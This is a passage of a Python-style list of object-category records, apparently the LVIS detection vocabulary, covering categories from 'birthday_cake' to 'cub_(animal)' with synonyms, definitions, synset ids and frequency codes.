served at a birthday party', 'id': 82, 'synset': 'birthday_cake.n.01', 'name': 'birthday_cake', 'frequency': 'f'}, {'synonyms': ['black_sheep'], 'def': 'sheep with a black coat', 'id': 83, 'synset': 'black_sheep.n.02', 'name': 'black_sheep', 'frequency': 'c'}, {'synonyms': ['blackberry'], 'def': 'large sweet black or very dark purple edible aggregate fruit', 'id': 84, 'synset': 'blackberry.n.01', 'name': 'blackberry', 'frequency': 'c'}, {'synonyms': ['blackboard', 'chalkboard'], 'def': 'sheet of slate; for writing with chalk', 'id': 85, 'synset': 'blackboard.n.01', 'name': 'blackboard', 'frequency': 'f'}, {'synonyms': ['blanket'], 'def': 'bedding that keeps a person warm in bed', 'id': 86, 'synset': 'blanket.n.01', 'name': 'blanket', 'frequency': 'f'}, {'synonyms': ['blazer', 'sport_jacket', 'sport_coat', 'sports_jacket', 'sports_coat'], 'def': 'lightweight jacket; often striped in the colors of a club or school', 'id': 87, 'synset': 'blazer.n.01', 'name': 'blazer', 'frequency': 'c'}, {'synonyms': ['blender', 'liquidizer', 'liquidiser'], 'def': 'an electrically powered mixer that mix or chop or liquefy foods', 'id': 88, 'synset': 'blender.n.01', 'name': 'blender', 'frequency': 'f'}, {'synonyms': ['blinker', 'flasher'], 'def': 'a light that flashes on and off; used as a signal or to send messages', 'id': 89, 'synset': 'blinker.n.01', 'name': 'blinker', 'frequency': 'f'}, {'synonyms': ['blouse'], 'def': 'a top worn by women', 'id': 90, 'synset': 'blouse.n.01', 'name': 'blouse', 'frequency': 'f'}, {'synonyms': ['blueberry'], 'def': 'sweet edible dark-blue berries of blueberry plants', 'id': 91, 'synset': 'blueberry.n.02', 'name': 'blueberry', 'frequency': 'f'}, {'synonyms': ['boat', 'ship_(boat)'], 'def': 'a vessel for travel on water', 'id': 92, 'synset': 'boat.n.01', 'name': 'boat', 'frequency': 'f'}, {'synonyms': ['bobbin', 'spool', 'reel'], 'def': 'a thing around which thread/tape/film or other flexible materials can be wound', 'id': 93, 'synset': 'bobbin.n.01', 'name': 'bobbin', 'frequency': 'c'}, {'synonyms': ['bobby_pin', 'hairgrip'], 'def': 'a flat wire hairpin used to hold bobbed hair in place', 'id': 94, 'synset': 'bobby_pin.n.01', 'name': 'bobby_pin', 'frequency': 'c'}, {'synonyms': ['boiled_egg', 'coddled_egg'], 'def': 'egg cooked briefly in the shell in gently boiling water', 'id': 95, 'synset': 'boiled_egg.n.01', 'name': 'boiled_egg', 'frequency': 'c'}, {'synonyms': ['deadbolt'], 'def': 'the part of a lock that is engaged or withdrawn with a key', 'id': 96, 'synset': 'bolt.n.03', 'name': 'deadbolt', 'frequency': 'c'}, {'synonyms': ['bolt'], 'def': 'a screw that screws into a nut to form a fastener', 'id': 97, 'synset': 'bolt.n.06', 'name': 'bolt', 'frequency': 'f'}, {'synonyms': ['book'], 'def': 'a written work or composition that has been published', 'id': 98, 'synset': 'book.n.01', 'name': 'book', 'frequency': 'f'}, {'synonyms': ['bookcase'], 'def': 'a piece of furniture with shelves for storing books', 'id': 99, 'synset': 'bookcase.n.01', 'name': 'bookcase', 'frequency': 'c'}, {'synonyms': ['booklet', 'brochure', 'leaflet', 'pamphlet'], 'def': 'a small book usually having a paper cover', 'id': 100, 'synset': 'booklet.n.01', 'name': 'booklet', 'frequency': 'c'}, {'synonyms': ['boot'], 'def': 'footwear that covers the whole foot and lower leg', 'id': 101, 'synset': 'boot.n.01', 'name': 'boot', 'frequency': 'f'}, {'synonyms': ['bottle'], 'def': 'a glass or plastic vessel used for storing drinks or other liquids', 'id': 102, 'synset': 'bottle.n.01', 'name': 'bottle', 'frequency': 'f'}, {'synonyms': ['bottle_opener'], 'def': 'an opener for removing caps or corks from bottles', 'id': 103, 'synset': 'bottle_opener.n.01', 'name': 'bottle_opener', 'frequency': 'c'}, {'synonyms': ['bouquet'], 'def': 'an arrangement of flowers that is usually given as a present', 'id': 104, 'synset': 'bouquet.n.01', 'name': 'bouquet', 'frequency': 'c'}, {'synonyms': ['bow_(decorative_ribbons)'], 'def': 'a decorative interlacing of ribbons', 'id': 105, 'synset': 'bow.n.08', 'name': 'bow_(decorative_ribbons)', 'frequency': 'f'}, {'synonyms': ['bow-tie', 'bowtie'], 'def': 'a man's tie that ties in a bow', 'id': 106, 'synset': 'bow_tie.n.01', 'name': 'bow-tie', 'frequency': 'f'}, {'synonyms': ['bowl'], 'def': 'a dish that is round and open at the top for serving foods', 'id': 107, 'synset': 'bowl.n.03', 'name': 'bowl', 'frequency': 'f'}, {'synonyms': ['bowler_hat', 'bowler', 'derby_hat', 'derby', 'plug_hat'], 'def': 'a felt hat that is round and hard with a narrow brim', 'id': 108, 'synset': 'bowler_hat.n.01', 'name': 'bowler_hat', 'frequency': 'c'}, {'synonyms': ['box'], 'def': 'a (usually rectangular) container; may have a lid', 'id': 109, 'synset': 'box.n.01', 'name': 'box', 'frequency': 'f'}, {'synonyms': ['suspenders'], 'def': 'elastic straps that hold trousers up (usually used in the plural)', 'id': 110, 'synset': 'brace.n.06', 'name': 'suspenders', 'frequency': 'c'}, {'synonyms': ['bracelet', 'bangle'], 'def': 'jewelry worn around the wrist for decoration', 'id': 111, 'synset': 'bracelet.n.02', 'name': 'bracelet', 'frequency': 'f'}, {'synonyms': ['brassiere', 'bra', 'bandeau'], 'def': 'an undergarment worn by women to support their breasts', 'id': 112, 'synset': 'brassiere.n.01', 'name': 'brassiere', 'frequency': 'c'}, {'synonyms': ['bread-bin', 'breadbox'], 'def': 'a container used to keep bread or cake in', 'id': 113, 'synset': 'bread-bin.n.01', 'name': 'bread-bin', 'frequency': 'c'}, {'synonyms': ['bread'], 'def': 'food made from dough of flour or meal and usually raised with yeast or baking powder and then baked', 'id': 114, 'synset': 'bread.n.01', 'name': 'bread', 'frequency': 'f'}, {'synonyms': ['bridal_gown', 'wedding_gown', 'wedding_dress'], 'def': 'a gown worn by the bride at a wedding', 'id': 115, 'synset': 'bridal_gown.n.01', 'name': 'bridal_gown', 'frequency': 'f'}, {'synonyms': ['briefcase'], 'def': 'a case with a handle; for carrying papers or files or books', 'id': 116, 'synset': 'briefcase.n.01', 'name': 'briefcase', 'frequency': 'c'}, {'synonyms': ['broccoli'], 'def': 'plant with dense clusters of tight green flower buds', 'id': 117, 'synset': 'broccoli.n.01', 'name': 'broccoli', 'frequency': 'f'}, {'synonyms': ['broom'], 'def': 'bundle of straws or twigs attached to a long handle; used for cleaning', 'id': 118, 'synset': 'broom.n.01', 'name': 'broom', 'frequency': 'c'}, {'synonyms': ['brownie'], 'def': 'square or bar of very rich chocolate cake usually with nuts', 'id': 119, 'synset': 'brownie.n.03', 'name': 'brownie', 'frequency': 'c'}, {'synonyms': ['brussels_sprouts'], 'def': 'the small edible cabbage-like buds growing along a stalk', 'id': 120, 'synset': 'brussels_sprouts.n.01', 'name': 'brussels_sprouts', 'frequency': 'c'}, {'synonyms': ['bucket', 'pail'], 'def': 'a roughly cylindrical vessel that is open at the top', 'id': 121, 'synset': 'bucket.n.01', 'name': 'bucket', 'frequency': 'f'}, {'synonyms': ['horned_cow'], 'def': 'a cow with horns', 'id': 122, 'synset': 'bull.n.11', 'name': 'bull', 'frequency': 'c'}, {'synonyms': ['bulldog'], 'def': 'a thickset short-haired dog with a large head and strong undershot lower jaw', 'id': 123, 'synset': 'bulldog.n.01', 'name': 'bulldog', 'frequency': 'c'}, {'synonyms': ['bullet_train'], 'def': 'a high-speed passenger train', 'id': 124, 'synset': 'bullet_train.n.01', 'name': 'bullet_train', 'frequency': 'c'}, {'synonyms': ['bulletin_board', 'notice_board'], 'def': 'a board that hangs on a wall; displays announcements', 'id': 125, 'synset': 'bulletin_board.n.02', 'name': 'bulletin_board', 'frequency': 'c'}, {'synonyms': ['bullhorn', 'megaphone'], 'def': 'a portable loudspeaker with built-in microphone and amplifier', 'id': 126, 'synset': 'bullhorn.n.01', 'name': 'bullhorn', 'frequency': 'c'}, {'synonyms': ['bun', 'roll'], 'def': 'small rounded bread either plain or sweet', 'id': 127, 'synset': 'bun.n.01', 'name': 'bun', 'frequency': 'f'}, {'synonyms': ['bunk_bed'], 'def': 'beds built one above the other', 'id': 128, 'synset': 'bunk_bed.n.01', 'name': 'bunk_bed', 'frequency': 'c'}, {'synonyms': ['buoy'], 'def': 'a float attached by rope to the seabed to mark channels in a harbor or underwater hazards', 'id': 129, 'synset': 'buoy.n.01', 'name': 'buoy', 'frequency': 'f'}, {'synonyms': ['bus_(vehicle)', 'autobus', 'charabanc', 'double-decker', 'motorbus', 'motorcoach'], 'def': 'a vehicle carrying many passengers; used for public transport', 'id': 130, 'synset': 'bus.n.01', 'name': 'bus_(vehicle)', 'frequency': 'f'}, {'synonyms': ['business_card'], 'def': 'a card on which are printed the person's name and business affiliation', 'id': 131, 'synset': 'business_card.n.01', 'name': 'business_card', 'frequency': 'c'}, {'synonyms': ['butter'], 'def': 'an edible emulsion of fat globules made by churning milk or cream; for cooking and table use', 'id': 132, 'synset': 'butter.n.01', 'name': 'butter', 'frequency': 'f'}, {'synonyms': ['butterfly'], 'def': 'insect typically having a slender body with knobbed antennae and broad colorful wings', 'id': 133, 'synset': 'butterfly.n.01', 'name': 'butterfly', 'frequency': 'c'}, {'synonyms': ['button'], 'def': 'a round fastener sewn to shirts and coats etc to fit through buttonholes', 'id': 134, 'synset': 'button.n.01', 'name': 'button', 'frequency': 'f'}, {'synonyms': ['cab_(taxi)', 'taxi', 'taxicab'], 'def': 'a car that takes passengers where they want to go in exchange for money', 'id': 135, 'synset': 'cab.n.03', 'name': 'cab_(taxi)', 'frequency': 'f'}, {'synonyms': ['cabin_car', 'caboose'], 'def': 'a car on a freight train for use of the train crew; usually the last car on the train', 'id': 136, 'synset': 'cabin_car.n.01', 'name': 'cabin_car', 'frequency': 'c'}, {'synonyms': ['cabinet'], 'def': 'a piece of furniture resembling a cupboard with doors and shelves and drawers', 'id': 137, 'synset': 'cabinet.n.01', 'name': 'cabinet', 'frequency': 'f'}, {'synonyms': ['cake'], 'def': 'baked goods made from or based on a mixture of flour, sugar, eggs, and fat', 'id': 138, 'synset': 'cake.n.03', 'name': 'cake', 'frequency': 'f'}, {'synonyms': ['calculator'], 'def': 'a small machine that is used for mathematical calculations', 'id': 139, 'synset': 'calculator.n.02', 'name': 'calculator', 'frequency': 'c'}, {'synonyms': ['calendar'], 'def': 'a list or register of events (appointments/social events/court cases, etc)', 'id': 140, 'synset': 'calendar.n.02', 'name': 'calendar', 'frequency': 'f'}, {'synonyms': ['calf'], 'def': 'young of domestic cattle', 'id': 141, 'synset': 'calf.n.01', 'name': 'calf', 'frequency': 'c'}, {'synonyms': ['camcorder'], 'def': 'a portable television camera and videocassette recorder', 'id': 142, 'synset': 'camcorder.n.01', 'name': 'camcorder', 'frequency': 'c'}, {'synonyms': ['camel'], 'def': 'cud-chewing mammal used as a draft or saddle animal in desert regions', 'id': 143, 'synset': 'camel.n.01', 'name': 'camel', 'frequency': 'c'}, {'synonyms': ['camera'], 'def': 'equipment for taking photographs', 'id': 144, 'synset': 'camera.n.01', 'name': 'camera', 'frequency': 'f'}, {'synonyms': ['camera_lens'], 'def': 'a lens that focuses the image in a camera', 'id': 145, 'synset': 'camera_lens.n.01', 'name': 'camera_lens', 'frequency': 'c'}, {'synonyms': ['camper_(vehicle)', 'camping_bus', 'motor_home'], 'def': 'a recreational vehicle equipped for camping out while traveling', 'id': 146, 'synset': 'camper.n.02', 'name': 'camper_(vehicle)', 'frequency': 'c'}, {'synonyms': ['can', 'tin_can'], 'def': 'airtight sealed metal container for food or drink or paint etc.', 'id': 147, 'synset': 'can.n.01', 'name': 'can', 'frequency': 'f'}, {'synonyms': ['can_opener', 'tin_opener'], 'def': 'a device for cutting cans open', 'id': 148, 'synset': 'can_opener.n.01', 'name': 'can_opener', 'frequency': 'c'}, {'synonyms': ['candle', 'candlestick'], 'def': 'stick of wax with a wick in the middle', 'id': 149, 'synset': 'candle.n.01', 'name': 'candle', 'frequency': 'f'}, {'synonyms': ['candle_holder'], 'def': 'a holder with sockets for candles', 'id': 150, 'synset': 'candlestick.n.01', 'name': 'candle_holder', 'frequency': 'f'}, {'synonyms': ['candy_cane'], 'def': 'a hard candy in the shape of a rod (usually with stripes)', 'id': 151, 'synset': 'candy_cane.n.01', 'name': 'candy_cane', 'frequency': 'c'}, {'synonyms': ['walking_cane'], 'def': 'a stick that people can lean on to help them walk', 'id': 152, 'synset': 'cane.n.01', 'name': 'walking_cane', 'frequency': 'c'}, {'synonyms': ['canister', 'cannister'], 'def': 'metal container for storing dry foods such as tea or flour', 'id': 153, 'synset': 'canister.n.02', 'name': 'canister', 'frequency': 'c'}, {'synonyms': ['canoe'], 'def': 'small and light boat; pointed at both ends; propelled with a paddle', 'id': 154, 'synset': 'canoe.n.01', 'name': 'canoe', 'frequency': 'c'}, {'synonyms': ['cantaloup', 'cantaloupe'], 'def': 'the fruit of a cantaloup vine; small to medium-sized melon with yellowish flesh', 'id': 155, 'synset': 'cantaloup.n.02', 'name': 'cantaloup', 'frequency': 'c'}, {'synonyms': ['cap_(headwear)'], 'def': 'a tight-fitting headwear', 'id': 156, 'synset': 'cap.n.01', 'name': 'cap_(headwear)', 'frequency': 'f'}, {'synonyms': ['bottle_cap', 'cap_(container_lid)'], 'def': 'a top (as for a bottle)', 'id': 157, 'synset': 'cap.n.02', 'name': 'bottle_cap', 'frequency': 'f'}, {'synonyms': ['cape'], 'def': 'a sleeveless garment like a cloak but shorter', 'id': 158, 'synset': 'cape.n.02', 'name': 'cape', 'frequency': 'c'}, {'synonyms': ['cappuccino', 'coffee_cappuccino'], 'def': 'equal parts of espresso and steamed milk', 'id': 159, 'synset': 'cappuccino.n.01', 'name': 'cappuccino', 'frequency': 'c'}, {'synonyms': ['car_(automobile)', 'auto_(automobile)', 'automobile'], 'def': 'a motor vehicle with four wheels', 'id': 160, 'synset': 'car.n.01', 'name': 'car_(automobile)', 'frequency': 'f'}, {'synonyms': ['railcar_(part_of_a_train)', 'railway_car_(part_of_a_train)', 'railroad_car_(part_of_a_train)'], 'def': 'a wheeled vehicle adapted to the rails of railroad (mark each individual railcar separately)', 'id': 161, 'synset': 'car.n.02', 'name': 'railcar_(part_of_a_train)', 'frequency': 'f'}, {'synonyms': ['identity_card'], 'def': 'a card certifying the identity of the bearer', 'id': 162, 'synset': 'card.n.02', 'name': 'identity_card', 'frequency': 'c'}, {'synonyms': ['card'], 'def': 'a rectangular piece of paper used to send messages (e.g. greetings or pictures)', 'id': 163, 'synset': 'card.n.03', 'name': 'card', 'frequency': 'c'}, {'synonyms': ['cardigan'], 'def': 'knitted jacket that is fastened up the front with buttons or a zipper', 'id': 164, 'synset': 'cardigan.n.01', 'name': 'cardigan', 'frequency': 'c'}, {'synonyms': ['horse_carriage'], 'def': 'a vehicle with wheels drawn by one or more horses', 'id': 165, 'synset': 'carriage.n.02', 'name': 'horse_carriage', 'frequency': 'c'}, {'synonyms': ['carrot'], 'def': 'deep orange edible root of the cultivated carrot plant', 'id': 166, 'synset': 'carrot.n.01', 'name': 'carrot', 'frequency': 'f'}, {'synonyms': ['tote_bag'], 'def': 'a capacious bag or basket', 'id': 167, 'synset': 'carryall.n.01', 'name': 'tote_bag', 'frequency': 'f'}, {'synonyms': ['cart'], 'def': 'a heavy open wagon usually having two wheels and drawn by an animal', 'id': 168, 'synset': 'cart.n.01', 'name': 'cart', 'frequency': 'c'}, {'synonyms': ['carton'], 'def': 'a container made of cardboard for holding food or drink', 'id': 169, 'synset': 'carton.n.02', 'name': 'carton', 'frequency': 'c'}, {'synonyms': ['cash_register', 'register_(for_cash_transactions)'], 'def': 'a cashbox with an adding machine to register transactions', 'id': 170, 'synset': 'cash_register.n.01', 'name': 'cash_register', 'frequency': 'c'}, {'synonyms': ['cast', 'plaster_cast', 'plaster_bandage'], 'def': 'bandage consisting of a firm covering that immobilizes broken bones while they heal', 'id': 171, 'synset': 'cast.n.05', 'name': 'cast', 'frequency': 'c'}, {'synonyms': ['cat'], 'def': 'a domestic house cat', 'id': 172, 'synset': 'cat.n.01', 'name': 'cat', 'frequency': 'f'}, {'synonyms': ['cauliflower'], 'def': 'edible compact head of white undeveloped flowers', 'id': 173, 'synset': 'cauliflower.n.02', 'name': 'cauliflower', 'frequency': 'f'}, {'synonyms': ['cayenne_(spice)', 'cayenne_pepper_(spice)', 'red_pepper_(spice)'], 'def': 'ground pods and seeds of pungent red peppers of the genus Capsicum', 'id': 174, 'synset': 'cayenne.n.02', 'name': 'cayenne_(spice)', 'frequency': 'c'}, {'synonyms': ['CD_player'], 'def': 'electronic equipment for playing compact discs (CDs)', 'id': 175, 'synset': 'cd_player.n.01', 'name': 'CD_player', 'frequency': 'c'}, {'synonyms': ['celery'], 'def': 'widely cultivated herb with aromatic leaf stalks that are eaten raw or cooked', 'id': 176, 'synset': 'celery.n.01', 'name': 'celery', 'frequency': 'f'}, {'synonyms': ['cellular_telephone', 'cellular_phone', 'cellphone', 'mobile_phone', 'smart_phone'], 'def': 'a hand-held mobile telephone', 'id': 177, 'synset': 'cellular_telephone.n.01', 'name': 'cellular_telephone', 'frequency': 'f'}, {'synonyms': ['chair'], 'def': 'a seat for one person, with a support for the back', 'id': 178, 'synset': 'chair.n.01', 'name': 'chair', 'frequency': 'f'}, {'synonyms': ['chandelier'], 'def': 'branched lighting fixture; often ornate; hangs from the ceiling', 'id': 179, 'synset': 'chandelier.n.01', 'name': 'chandelier', 'frequency': 'f'}, {'synonyms': ['cherry'], 'def': 'a red fruit with a single hard stone', 'id': 180, 'synset': 'cherry.n.03', 'name': 'cherry', 'frequency': 'c'}, {'synonyms': ['chicken_(animal)'], 'def': 'a domestic fowl bred for flesh or eggs', 'id': 181, 'synset': 'chicken.n.02', 'name': 'chicken_(animal)', 'frequency': 'c'}, {'synonyms': ['chickpea', 'garbanzo'], 'def': 'the seed of the chickpea plant; usually dried', 'id': 182, 'synset': 'chickpea.n.01', 'name': 'chickpea', 'frequency': 'c'}, {'synonyms': ['chili_(vegetable)', 'chili_pepper_(vegetable)', 'chilli_(vegetable)', 'chilly_(vegetable)', 'chile_(vegetable)'], 'def': 'very hot and finely tapering pepper of special pungency', 'id': 183, 'synset': 'chili.n.02', 'name': 'chili_(vegetable)', 'frequency': 'c'}, {'synonyms': ['crisp_(potato_chip)', 'potato_chip'], 'def': 'a thin crisp slice of potato fried in deep fat', 'id': 184, 'synset': 'chip.n.04', 'name': 'crisp_(potato_chip)', 'frequency': 'c'}, {'synonyms': ['chocolate_bar'], 'def': 'a bar of chocolate candy', 'id': 185, 'synset': 'chocolate_bar.n.01', 'name': 'chocolate_bar', 'frequency': 'c'}, {'synonyms': ['chocolate_cake'], 'def': 'cake containing chocolate', 'id': 186, 'synset': 'chocolate_cake.n.01', 'name': 'chocolate_cake', 'frequency': 'c'}, {'synonyms': ['choker', 'collar', 'neckband'], 'def': 'shirt collar, animal collar, or tight-fitting necklace', 'id': 187, 'synset': 'choker.n.03', 'name': 'choker', 'frequency': 'f'}, {'synonyms': ['chopping_board', 'cutting_board', 'chopping_block'], 'def': 'a wooden board where meats or vegetables can be cut', 'id': 188, 'synset': 'chopping_board.n.01', 'name': 'chopping_board', 'frequency': 'f'}, {'synonyms': ['chopstick'], 'def': 'one of a pair of slender sticks used as oriental tableware to eat food with', 'id': 189, 'synset': 'chopstick.n.01', 'name': 'chopstick', 'frequency': 'f'}, {'synonyms': ['Christmas_tree'], 'def': 'an ornamented evergreen used as a Christmas decoration', 'id': 190, 'synset': 'christmas_tree.n.05', 'name': 'Christmas_tree', 'frequency': 'f'}, {'synonyms': ['slide'], 'def': 'sloping channel through which things can descend', 'id': 191, 'synset': 'chute.n.02', 'name': 'slide', 'frequency': 'c'}, {'synonyms': ['cigarette'], 'def': 'finely ground tobacco wrapped in paper; for smoking', 'id': 192, 'synset': 'cigarette.n.01', 'name': 'cigarette', 'frequency': 'f'}, {'synonyms': ['cigarette_case', 'cigarette_pack'], 'def': 'a small flat case for holding cigarettes', 'id': 193, 'synset': 'cigarette_case.n.01', 'name': 'cigarette_case', 'frequency': 'c'}, {'synonyms': ['cistern', 'water_tank'], 'def': 'a tank that holds the water used to flush a toilet', 'id': 194, 'synset': 'cistern.n.02', 'name': 'cistern', 'frequency': 'f'}, {'synonyms': ['clasp'], 'def': 'a fastener (as a buckle or hook) that is used to hold two things together', 'id': 195, 'synset': 'clasp.n.01', 'name': 'clasp', 'frequency': 'c'}, {'synonyms': ['cleansing_agent', 'cleanser', 'cleaner'], 'def': 'a preparation used in cleaning something', 'id': 196, 'synset': 'cleansing_agent.n.01', 'name': 'cleansing_agent', 'frequency': 'c'}, {'synonyms': ['clip'], 'def': 'any of various small fasteners used to hold loose articles together', 'id': 197, 'synset': 'clip.n.03', 'name': 'clip', 'frequency': 'c'}, {'synonyms': ['clipboard'], 'def': 'a small writing board with a clip at the top for holding papers', 'id': 198, 'synset': 'clipboard.n.01', 'name': 'clipboard', 'frequency': 'c'}, {'synonyms': ['clock', 'timepiece', 'timekeeper'], 'def': 'a timepiece that shows the time of day', 'id': 199, 'synset': 'clock.n.01', 'name': 'clock', 'frequency': 'f'}, {'synonyms': ['clock_tower'], 'def': 'a tower with a large clock visible high up on an outside face', 'id': 200, 'synset': 'clock_tower.n.01', 'name': 'clock_tower', 'frequency': 'f'}, {'synonyms': ['clothes_hamper', 'laundry_basket', 'clothes_basket'], 'def': 'a hamper that holds dirty clothes to be washed or wet clothes to be dried', 'id': 201, 'synset': 'clothes_hamper.n.01', 'name': 'clothes_hamper', 'frequency': 'c'}, {'synonyms': ['clothespin', 'clothes_peg'], 'def': 'wood or plastic fastener; for holding clothes on a clothesline', 'id': 202, 'synset': 'clothespin.n.01', 'name': 'clothespin', 'frequency': 'c'}, {'synonyms': ['coaster'], 'def': 'a covering (plate or mat) that protects the surface of a table', 'id': 203, 'synset': 'coaster.n.03', 'name': 'coaster', 'frequency': 'f'}, {'synonyms': ['coat'], 'def': 'an outer garment that has sleeves and covers the body from shoulder down', 'id': 204, 'synset': 'coat.n.01', 'name': 'coat', 'frequency': 'f'}, {'synonyms': ['coat_hanger', 'clothes_hanger', 'dress_hanger'], 'def': 'a hanger that is shaped like a person's shoulders', 'id': 205, 'synset': 'coat_hanger.n.01', 'name': 'coat_hanger', 'frequency': 'c'}, {'synonyms': ['coatrack', 'hatrack'], 'def': 'a rack with hooks for temporarily holding coats and hats', 'id': 206, 'synset': 'coatrack.n.01', 'name': 'coatrack', 'frequency': 'c'}, {'synonyms': ['cock', 'rooster'], 'def': 'adult male chicken', 'id': 207, 'synset': 'cock.n.04', 'name': 'cock', 'frequency': 'c'}, {'synonyms': ['coconut', 'cocoanut'], 'def': 'large hard-shelled brown oval nut with a fibrous husk', 'id': 208, 'synset': 'coconut.n.02', 'name': 'coconut', 'frequency': 'c'}, {'synonyms': ['coffee_maker', 'coffee_machine'], 'def': 'a kitchen appliance for brewing coffee automatically', 'id': 209, 'synset': 'coffee_maker.n.01', 'name': 'coffee_maker', 'frequency': 'f'}, {'synonyms': ['coffee_table', 'cocktail_table'], 'def': 'low table where magazines can be placed and coffee or cocktails are served', 'id': 210, 'synset': 'coffee_table.n.01', 'name': 'coffee_table', 'frequency': 'f'}, {'synonyms': ['coffeepot'], 'def': 'tall pot in which coffee is brewed', 'id': 211, 'synset': 'coffeepot.n.01', 'name': 'coffeepot', 'frequency': 'c'}, {'synonyms': ['coin'], 'def': 'a flat metal piece (usually a disc) used as money', 'id': 212, 'synset': 'coin.n.01', 'name': 'coin', 'frequency': 'c'}, {'synonyms': ['colander', 'cullender'], 'def': 'bowl-shaped strainer; used to wash or drain foods', 'id': 213, 'synset': 'colander.n.01', 'name': 'colander', 'frequency': 'c'}, {'synonyms': ['coleslaw', 'slaw'], 'def': 'basically shredded cabbage', 'id': 214, 'synset': 'coleslaw.n.01', 'name': 'coleslaw', 'frequency': 'c'}, {'synonyms': ['pacifier', 'teething_ring'], 'def': 'device used for an infant to suck or bite on', 'id': 215, 'synset': 'comforter.n.04', 'name': 'pacifier', 'frequency': 'c'}, {'synonyms': ['computer_keyboard', 'keyboard_(computer)'], 'def': 'a keyboard that is a data input device for computers', 'id': 216, 'synset': 'computer_keyboard.n.01', 'name': 'computer_keyboard', 'frequency': 'f'}, {'synonyms': ['condiment'], 'def': 'a preparation (a sauce or relish or spice) to enhance flavor or enjoyment', 'id': 217, 'synset': 'condiment.n.01', 'name': 'condiment', 'frequency': 'f'}, {'synonyms': ['cone', 'traffic_cone'], 'def': 'a cone-shaped object used to direct traffic', 'id': 218, 'synset': 'cone.n.01', 'name': 'cone', 'frequency': 'f'}, {'synonyms': ['control', 'controller'], 'def': 'a mechanism that controls the operation of a machine', 'id': 219, 'synset': 'control.n.09', 'name': 'control', 'frequency': 'f'}, {'synonyms': ['cookie', 'cooky', 'biscuit_(cookie)'], 'def': 'any of various small flat sweet cakes (`biscuit' is the British term)', 'id': 220, 'synset': 'cookie.n.01', 'name': 'cookie', 'frequency': 'f'}, {'synonyms': ['cooler_(for_food)', 'ice_chest'], 'def': 'an insulated box for storing food often with ice', 'id': 221, 'synset': 'cooler.n.01', 'name': 'cooler_(for_food)', 'frequency': 'f'}, {'synonyms': ['cork_(bottle_plug)', 'bottle_cork'], 'def': 'the plug in the mouth of a bottle (especially a wine bottle)', 'id': 222, 'synset': 'cork.n.04', 'name': 'cork_(bottle_plug)', 'frequency': 'f'}, {'synonyms': ['corkscrew', 'bottle_screw'], 'def': 'a bottle opener that pulls corks', 'id': 223, 'synset': 'corkscrew.n.01', 'name': 'corkscrew', 'frequency': 'c'}, {'synonyms': ['edible_corn', 'corn', 'maize'], 'def': 'ears or kernels of corn that can be prepared and served for human food (only mark individual ears or kernels)', 'id': 224, 'synset': 'corn.n.03', 'name': 'edible_corn', 'frequency': 'f'}, {'synonyms': ['cornet', 'horn', 'trumpet'], 'def': 'a brass musical instrument with a narrow tube and a flared bell and many valves', 'id': 225, 'synset': 'cornet.n.01', 'name': 'cornet', 'frequency': 'c'}, {'synonyms': ['cornice', 'valance', 'valance_board', 'pelmet'], 'def': 'a decorative framework to conceal curtain fixtures at the top of a window casing', 'id': 226, 'synset': 'cornice.n.01', 'name': 'cornice', 'frequency': 'c'}, {'synonyms': ['corset', 'girdle'], 'def': 'a woman's close-fitting foundation garment', 'id': 227, 'synset': 'corset.n.01', 'name': 'corset', 'frequency': 'c'}, {'synonyms': ['costume'], 'def': 'the attire characteristic of a country or a time or a social class', 'id': 228, 'synset': 'costume.n.04', 'name': 'costume', 'frequency': 'c'}, {'synonyms': ['cowbell'], 'def': 'a bell hung around the neck of cow so that the cow can be easily located', 'id': 229, 'synset': 'cowbell.n.01', 'name': 'cowbell', 'frequency': 'c'}, {'synonyms': ['cowboy_hat', 'ten-gallon_hat'], 'def': 'a hat with a wide brim and a soft crown; worn by American ranch hands', 'id': 230, 'synset': 'cowboy_hat.n.01', 'name': 'cowboy_hat', 'frequency': 'f'}, {'synonyms': ['crab_(animal)'], 'def': 'decapod having eyes on short stalks and a broad flattened shell and pincers', 'id': 231, 'synset': 'crab.n.01', 'name': 'crab_(animal)', 'frequency': 'c'}, {'synonyms': ['cracker'], 'def': 'a thin crisp wafer', 'id': 232, 'synset': 'cracker.n.01', 'name': 'cracker', 'frequency': 'c'}, {'synonyms': ['crate'], 'def': 'a rugged box (usually made of wood); used for shipping', 'id': 233, 'synset': 'crate.n.01', 'name': 'crate', 'frequency': 'f'}, {'synonyms': ['crayon', 'wax_crayon'], 'def': 'writing or drawing implement made of a colored stick of composition wax', 'id': 234, 'synset': 'crayon.n.01', 'name': 'crayon', 'frequency': 'c'}, {'synonyms': ['crescent_roll', 'croissant'], 'def': 'very rich flaky crescent-shaped roll', 'id': 235, 'synset': 'crescent_roll.n.01', 'name': 'crescent_roll', 'frequency': 'c'}, {'synonyms': ['crib', 'cot'], 'def': 'baby bed with high sides made of slats', 'id': 236, 'synset': 'crib.n.01', 'name': 'crib', 'frequency': 'c'}, {'synonyms': ['crock_pot', 'earthenware_jar'], 'def': 'an earthen jar (made of baked clay) or a modern electric crockpot', 'id': 237, 'synset': 'crock.n.03', 'name': 'crock_pot', 'frequency': 'c'}, {'synonyms': ['crossbar'], 'def': 'a horizontal bar that goes across something', 'id': 238, 'synset': 'crossbar.n.01', 'name': 'crossbar', 'frequency': 'f'}, {'synonyms': ['crow'], 'def': 'black birds having a raucous call', 'id': 239, 'synset': 'crow.n.01', 'name': 'crow', 'frequency': 'c'}, {'synonyms': ['crown'], 'def': 'an ornamental jeweled headdress signifying sovereignty', 'id': 240, 'synset': 'crown.n.04', 'name': 'crown', 'frequency': 'c'}, {'synonyms': ['crucifix'], 'def': 'representation of the cross on which Jesus died', 'id': 241, 'synset': 'crucifix.n.01', 'name': 'crucifix', 'frequency': 'c'}, {'synonyms': ['cruise_ship', 'cruise_liner'], 'def': 'a passenger ship used commercially for pleasure cruises', 'id': 242, 'synset': 'cruise_ship.n.01', 'name': 'cruise_ship', 'frequency': 'c'}, {'synonyms': ['police_cruiser', 'patrol_car', 'police_car', 'squad_car'], 'def': 'a car in which policemen cruise the streets', 'id': 243, 'synset': 'cruiser.n.01', 'name': 'police_cruiser', 'frequency': 'c'}, {'synonyms': ['crumb'], 'def': 'small piece of e.g. bread or cake', 'id': 244, 'synset': 'crumb.n.03', 'name': 'crumb', 'frequency': 'f'}, {'synonyms': ['crutch'], 'def': 'a wooden or metal staff that fits under the armpit and reaches to the ground', 'id': 245, 'synset': 'crutch.n.01', 'name': 'crutch', 'frequency': 'c'}, {'synonyms': ['cub_(animal)'], 'def': 'the young of certain carnivorous mammals such as the bear or wolf or lion', 'id': 246, 'synset': 'cub.n.03', 'name': 'cub_(animal)', 